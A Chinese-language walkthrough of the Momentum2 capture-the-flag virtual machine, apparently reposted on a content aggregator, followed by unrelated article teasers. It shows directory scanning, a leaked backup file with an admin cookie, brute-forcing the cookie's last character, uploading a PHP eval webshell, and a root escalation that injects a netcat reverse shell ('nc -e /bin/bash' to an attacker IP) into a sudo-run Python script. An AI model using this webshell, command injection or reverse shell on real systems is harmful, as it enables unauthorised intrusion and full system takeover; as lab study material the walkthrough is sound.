Momentum靶机系列Momentum2

先进行arp扫描:

获得渗透靶机的IP:192.168.13.142

扫描一下靶机的使用的端口:

具有tcp端口和http服务的80端口

可以扫描一下80端口的http服务:

可以发现一个网站:http://192.168.13.142

打开该网址:

查看一下源代码:

没有什么可以看的东西

那就尝试一下进行网站域名的扫描:


可以看到:

[18:20:09] 200 -    0B  - /ajax.php                                        

[18:20:13] 200 -  513B  - /dashboard.html                                     

[18:20:16] 200 -    1KB - /index.html                                      

[18:20:16] 200 -  930B  - /js/                                             

[18:20:18] 200 -  626B  - /manual/index.html 

这几个存在内容:

尝试查看js的域名:

js下存在一串js代码(进行解释):

function uploadFile() {

//获得文件:

var files = document.getElementById("file").files;

if(files.length > 0 ){

    //用于创建表单数据对象

   var formData = new FormData();

   formData.append("file", files[0]);

   //formData.append() 是 FormData 对象提供的方法,用于向表单数据对象中添加字段和值

   var xhttp = new XMLHttpRequest();

   //XMLHttpRequest 对象提供了在客户端通过 HTTP 协议与服务器进行交互的功能

   // Set POST method and ajax file path

   xhttp.open("POST", "ajax.php", true);

   //使用 open() 方法设置请求的类型为 POST,URL 为 "ajax.php",并指定使用异步方式发送请求(第三个参数为 true)

   //异步方式意味着 JavaScript 在发送请求后会立即继续执行后续的代码,而不必等待服务器响应

   // call on request changes state

   xhttp.onreadystatechange = function() {

      if (this.readyState == 4 && this.status == 200) {

        var response = this.responseText;

        if(response == 1){

           alert("Upload successfully.");

        }else{

           alert("File not uploaded.");

        }

      }

   };

   // Send request with data

   xhttp.send(formData);

}else{

   alert("Please select a file");

}

}

简单来说就是,存在文件上传,上传的文件会添加到表单文件中 而且要想上传文件后就需要进行这串代码的过滤

xhttp.onreadystatechange = function() {

      if (this.readyState == 4 && this.status == 200) {

        var response = this.responseText;

        if(response == 1){

           alert("Upload successfully.");

        }else{

           alert("File not uploaded.");

        }

      }

   }

当http请求返回为1时可以上传文件,这样就可以上传一个木马来获得权限

其中http请求来自ajax.php的请求,那么就存在ajax.php和文件上传点:

找到文件上传点:

/dashboard.html

可以尝试上传一个php试试看:

不能上传

那就可以看一下ajax.php的内容:


没有东西,尴尬了

看来是没有显示,查看资料后获得,存在备份文件:

http://192.168.13.142/ajax.php.bak

获得备份文件:

打开看看:

获得文件内容:


 

//The boss told me to add one more Upper Case letter at the end of the cookie

//老板让我在饼干的末尾再添加一个大写字母

if(isset($_COOKIE['admin']) && $_COOKIE['admin'] == '&G6u@B6uDXMq&Ms'){

       //[+] Add if $_POST['secure'] == 'val1d'

        $valid_ext = array("pdf","php","txt");

   }

   else{

        $valid_ext = array("txt");

   }

   // Remember success upload returns 1

   //记住成功上传返回 1

可以看到需要一个cookie :名为admin 值为:&G6u@B6uDXMq&Ms+大写字母

然后还需要获得一个post传参的secure其值为valu1d

可以尝试获得一个爆破的密码本:

使用 crunch来自己创建一个密码本:

 crunch 11 -t ,>>pass.txt


 


现在就可以抓住文件上传的网页:

上传上我们需要的条件:

将其发送到爆破:在cookie的地方添加一个爆破点:

Cookie: admin=%26G6u%40B6uDXMq%26Ms§A§

添加爆破字典,然后开始爆破:

文件包的大小差不多需要一个一个的看:

看到反应包R的返回了1,所以,当为R是就可以上传一个php文件:

将这个包返回:

php文件内容为一句话木马:
<?php  @eval($_POST['cmd']); ?>
上传成功:


在owls下存在我们上传的文件:

打开蚁剑:

进行连接

连接成功:
开启一个终端进行监听:

然后进行shell交互:

 python -c "import pty;pty.spawn('/bin/bash')"

交互成功:查看权限:

不是root的用户:
找到home下有一个用户而且还有用户的密码:


可以看到用户:athena和密码:myvulnerableapp[Asterisk]

因为还有ssh的没有使用,尝试登录:ssh

what?密码错了吗?
查看别人的资料发现:
密码后面的[Asterisk]而是一个*

再次尝试一下:

登陆上去了

查看一下当前用户具有的权限sudo -l

发现:/usr/bin/python3 /home/team-tasks/cookie-gen.py这个py脚本具有root脚本:

cat一下这个脚本:
 

import random

import os

import subprocess

print('~ Random Cookie Generation ~')

print('[!] for security reasons we keep logs about cookie seeds.')

chars = '@#$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh'

seed = input("Enter the seed : ")

random.seed = seed

cookie = ''

for c in range(20):

    cookie += random.choice(chars)

print(cookie)

cmd = "echo %s >> log.txt" % seed

subprocess.Popen(cmd, shell=True)

分析一下:
 

import random

import os

import subprocess

print('~ Random Cookie Generation ~')

print('[!] for security reasons we keep logs about cookie seeds.')

chars = '@#$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefgh'

seed = input("Enter the seed : ")

#输入一个那种子(就是一串字符)

random.seed = seed

#没什么用

cookie = ''

for c in range(20):

    cookie += random.choice(chars)

print(cookie)

cmd = "echo %s >> log.txt " % seed

#将seed的结果输入到log.txt中

subprocess.Popen(cmd, shell=True)#然后将cmd中的命令当作shell脚本执行

 

所以只需要上传一个监听代码就可以进行对靶机的监听,而且还获得了root权限:所以运行该脚本,并输入;nc -e /bin/bash 192.168.13.138 6666

开启一个新的终端:

监听成功:进行交互,交互成功后获得root权限
 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/600971.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

error code [1449]; The user specified as a definer (‘root‘@‘%‘) does not exist

其实就是说我的root用户权限不够&#xff0c;那就要加上权限&#xff0c;网上其他地方也有好多处理办法&#xff0c;但是要注意数据库版本。我用的是MySQL8.0.32版本&#xff0c;我是这样处理的&#xff0c;简单可行&#xff1a; GRANT ALL ON *.* TO root% ;FLUSH PRIVILEGES…

当AI遇见现实:数智化时代的人类社会新图景

文章目录 一、数智化时代的机遇二、数智化时代的挑战三、如何适应数智化时代《图解数据智能》内容简介作者简介精彩书评目录精彩书摘强化学习什么是强化学习强化学习与监督学习的区别强化学习与无监督学习的区别 前言/序言 随着科技的日新月异&#xff0c;我们步入了一个前所未…

爬虫学习:XPath匹配网页数据

目录 一、安装XPath 二、XPath的基础语法 1.选取节点 三、使用XPath匹配数据 1.浏览器审查元素 2.具体实例 四、总结 一、安装XPath 控制台输入指令&#xff1a;pip install lxml 二、XPath的基础语法 XPath是一种在XML文档中查找信息的语言&#xff0c;可以使用它在HTM…

B端系统菜单栏中使用阿里图标

B端系统菜单栏中使用阿里图标 1.需求说明 由于组件库自带的图标数量和内容有限&#xff0c;采用丰富多样的阿里图标是不错的选择 2.阿里图标使用 2.1官网 iconfont-阿里巴巴矢量图标库 2.2使用 2.2.1.先根据关键词搜索并选择对应的图标 注意&#xff1a;若只是少量的sv…

自动驾驶学习1-超声波雷达

1、简介 超声波雷达&#xff1a;利用超声波测算距离的雷达传感器装置&#xff0c;通过发射、接收 40kHz、48kHz或 58kHz 频率的超声波&#xff0c;根据时间差测算出障碍物距离&#xff0c;当距离过近时触发报警装置发出警报声以提醒司机。 超声波&#xff1a;人耳所不能听到的…

FMEA助力智能电网升级:构建安全、高效、可靠的电力网络

随着科技的不断进步&#xff0c;智能电网已成为现代电力行业的重要发展方向。而在这个过程中&#xff0c;FMEA&#xff08;失效模式和影响分析&#xff09;作为一种重要的质量管理工具&#xff0c;正日益发挥着其在智能电网建设中的赋能作用。本文将从FMEA的基本概念出发&#…

Study--Oracle-02-单实例部署Oracle19C

一、CentOS 7 环境准备 1、软件准备 操作系统&#xff1a;CentOS 7 数据库版本: Oracle19C 2、操作系统环境配置 关闭selinux &#xff0c;编辑 /etc/selinux/config文件&#xff0c;设置SELINUX enforcing 为SELINUXdisabled [rootoracle ~]# grep SELINUX /etc/seli…

顺序表的实现(迈入数据结构的大门)

什么是数据结构 数据结构是由&#xff1a;“数据”与“结构”两部分组成 数据与结构 数据&#xff1a;如我们所看见的广告、图片、视频等&#xff0c;常见的数值&#xff0c;教务系统里的&#xff08;姓名、性别、学号、学历等等&#xff09;&#xff1b; 结构&#xff1a;当…

python网络爬虫学习——编写一个网络爬虫

参考资料&#xff1a;用Python写网络爬虫&#xff08;第2版&#xff09; 1、编写一个函数 &#xff08;1&#xff09;用于下载网页&#xff0c;且当下载网页发生错误时能及时报错。 # 导入库 import urllib.request from urllib.error import URLError,HTTPError,ContentTooS…

Golang 开发实战day12 - Pointer

&#x1f3c6;个人专栏 &#x1f93a; leetcode &#x1f9d7; Leetcode Prime &#x1f3c7; Golang20天教程 &#x1f6b4;‍♂️ Java问题收集园地 &#x1f334; 成长感悟 欢迎大家观看&#xff0c;不执着于追求顶峰&#xff0c;只享受探索过程 Golang 开发实战day12 - 指针…

Hive读写文件机制

Hive读写文件机制 1.SerDe是什么&#xff1f; SerDe是Hive中的一个概念&#xff0c;代表着“序列化/反序列化” &#xff08;Serializer/Deserializer&#xff09;。 SerDe在Hive中是用来处理数据如何在Hive与底层存储系统&#xff08;例如HDFS&#xff09;之间进行转换的机制…

Xinstall广告效果监测,助力广告主优化投放策略

在移动互联网时代&#xff0c;APP推广已成为企业营销的重要手段。然而&#xff0c;如何衡量推广效果&#xff0c;了解用户来源&#xff0c;优化投放策略&#xff0c;一直是广告主和开发者面临的难题。这时&#xff0c;Xinstall作为国内专业的App全渠道统计服务商&#xff0c;以…

SpringBoot项目部署到阿里云服务器

部署步骤 步骤分以下&#xff1a; 将SpringBoot项目打包Linux上准备好Java环境、可用的MySql数据库项目上传到服务器启动项目停止项目 1.SpringBoot项目打包 数据库的链接&#xff0c;账户和密码需要和Linux上一致。 如上图打包即可。 2.Linux上准备好Java环境以及Mysql环境…

微生物群落构建(community assembly)

Introduction Zhou, J. & Ning, D. Stochastic Community Assembly: Does It Matter in Microbial Ecology? Microbiol Mol Biol Rev 81, e00002-17 (2017). This review is very comprehensive (1)&#xff01; 周集中老师实验室的长期研究兴趣集中在从基因组到生态系统…

ZIP压缩输出流(将ZIP文件解压)

文章目录 前言一、ZIP压缩输出流是什么&#xff1f;二、使用介绍 1.使用方法2.实操展示总结 前言 该篇文章相对应的介绍如何使用java代码将各种文件&#xff08;文件夹&#xff09;从ZIP压缩文件中取出到指定的文件夹中。解压流将ZIP文件中的文件以条目的形式逐一读取&#xff…

WMS仓储管理系统库存分类的详细讲解

在当今日益复杂和快速变化的商业环境中&#xff0c;仓库管理成为了一个企业不可或缺的关键环节。WMS仓储管理系统解决方案凭借其自动化和信息化的优势&#xff0c;为企业带来了革命性的改变&#xff0c;特别是在库存分类方面。接下来&#xff0c;我们将深入探讨WMS仓储管理系统…

LLMs之GPT4ALL:GPT4ALL的简介、安装和使用方法、案例应用之详细攻略

LLMs之GPT4ALL&#xff1a;GPT4ALL的简介、安装和使用方法、案例应用之详细攻略 目录 GPT4ALL的简介 0、新功能 1、特点 2、功能 3、技术报告 GPT4ALL的安装和使用方法 1、安装 2、使用方法 GPT4ALL的案例应用 LLMs之LLaMA3&#xff1a;基于GPT4ALL框架对LLaMA-3实现…

【笔记】Anaconda命令提示符(Anaconda Prompt)操作

通过anaconda配置python环境有时需要conda安装一些包或者文件&#xff0c;这里作为一个笔记记录如何打开Anaconda命令提示符&#xff08;Anaconda Prompt&#xff09;&#xff0c;并用conda操作 1.打开Anaconda命令提示符&#xff08;Anaconda Prompt&#xff09; 可直接在搜…

如何获得一个Oracle 23ai数据库(RPM安装)

准确的说&#xff0c;是Oracle 23ai Free Developer版&#xff0c;因为企业版目前只在云上&#xff08;OCI和Azure&#xff09;和ECC上提供。 方法包括3种&#xff0c;本文介绍第2种&#xff1a; Virtual ApplianceRPM安装Docker RPM安装支持Linux 8和Linux 9。由于官方的Vi…

人工智能|机器学习——强大的 Scikit-learn 可视化让模型说话

一、显示 API 简介 使用 utils.discovery.all_displays 查找可用的 API。 Sklearn 的utils.discovery.all_displays可以让你看到哪些类可以使用。 from sklearn.utils.discovery import all_displays displays all_displays() displays Scikit-learn (sklearn) 总是会在新版本…
最新文章